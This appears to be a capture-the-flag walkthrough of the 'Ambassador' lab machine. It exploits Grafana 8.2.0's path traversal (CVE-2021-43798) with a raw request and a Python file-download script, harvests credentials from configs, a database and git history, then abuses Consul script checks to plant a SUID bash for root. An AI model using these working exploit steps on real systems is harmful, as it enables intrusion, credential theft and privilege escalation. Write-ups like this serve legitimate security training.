Ambassador
Overview
Ambassador runs Grafana 8.2.0, vulnerable to an unauthenticated path traversal/LFI (CVE-2021-43798). Reading Grafana's config file leaks the admin password, and the MySQL datasource config leaks database credentials. The MySQL database contains a base64-encoded SSH password. Post-foothold, linpeas finds a local app directory whose git history reveals a Consul token. The Consul service runs with enable_script_checks = true, allowing a malicious health check script to run as root - abused to create a SUID bash binary.
Recon
Nmap
sudo nmap -sC -sV -vv -oA tcp 10.129.228.56 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.228.56Port 80 exposes a message mentioning account developer:
The port 80 site is a static site generator:
Grafana - Version Fingerprinting
Port 3000 serves Grafana 8.2.0:
Foothold
CVE-2021-43798 - Grafana LFI
Grafana 8.2.0 is vulnerable to an unauthenticated path traversal via the plugin static file endpoint. By traversing with URL-encoded slashes (%2F), files outside the plugin directory can be read.
Reference: https://hackerone.com/reports/1427086
GET /public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 10.129.228.56:3000Ubuntu 20.04 confirmed:
Automated File Download Script
Write a Python script to efficiently download arbitrary files via the LFI:
import requests
import os
filename = input("Filename: ")
fname = filename.replace("/", "%2F")
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
while True:
burp0_url = f"http://10.129.228.56:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..{fname}"
re = requests.get(burp0_url, proxies=proxies)
if re.ok:
fn = os.path.basename(filename)
with open(fn, 'w') as f:
f.write(re.text)
else:
print(re.status_code)
filename = input("Filename: ")
if filename == "exit":
break
fname = filename.replace("/", "%2F")Grafana Config - Admin Password
Read /etc/grafana/grafana.ini:
The admin password is present in the config file.
MySQL Datasource Config
The Grafana UI shows a MySQL datasource is configured. Read the provisioning config:
/etc/grafana/provisioning/datasources/mysql.yaml
MySQL credentials found. Connect via DBeaver - disable SSL verification and enable public key retrieval to connect:
Foothold (SSH)
Database - Base64 SSH Password
Another database exists with a users table:
The password field contains a base64-encoded value. Decode it - it's the SSH password for the developer user:
SSH as developer. User flag accessible.
Consul Service Discovery
A Consul service is running locally:
Lateral Movement
Linpeas identifies interesting application files:
Download /opt/my-app and review its git history:
git log --all --onelineSwitch to a past commit to recover a removed Consul token:
git checkout <commit-hash>Consul token: bb03b43b-1d81-d62b-24b5-39540ee469b5
Check MySQL password in Consul KV - it's empty:
Privilege Escalation
Consul enable_script_checks
Read the Consul configuration file. The enable_script_checks = true flag is set - this allows defining health check scripts in service/check configuration files. Consul runs these scripts periodically as the user that started the Consul process (root in this case).
Create a malicious Consul check configuration at /etc/consul.d/config.d/syk0.hcl:
enable_script_checks = true
checks = [
{
id = "chk1"
name = "mem"
args = ["/tmp/sk.sh"]
interval = "5s"
}
]Create a test script /tmp/sk.sh to verify execution:
#!/bin/bash
touch /tmp/syk0.tmpReload Consul with our token to apply the new config:
consul reload --token bb03b43b-1d81-d62b-24b5-39540ee469b5/tmp/syk0.tmp is created - confirming script execution as root. Update the script to create a SUID bash binary:
#!/bin/bash
cp /usr/bin/bash /tmp/bash
chmod u+s /tmp/bashAfter 5 seconds (the check interval), /tmp/bash exists with SUID set:
/tmp/bash -pRoot shell obtained.
Attack Chain Summary
| Phase | Technique | Result |
|---|---|---|
| Recon | Grafana version fingerprint | 8.2.0 - CVE-2021-43798 |
| LFI | Path traversal via plugin endpoint | Grafana config + MySQL creds |
| Database access | DBeaver MySQL | SSH password (base64) |
| Foothold | SSH as developer | User shell |
| Git history | /opt/my-app checkout | Consul token |
| Privesc | Consul script_checks + HCL file | SUID bash → root |

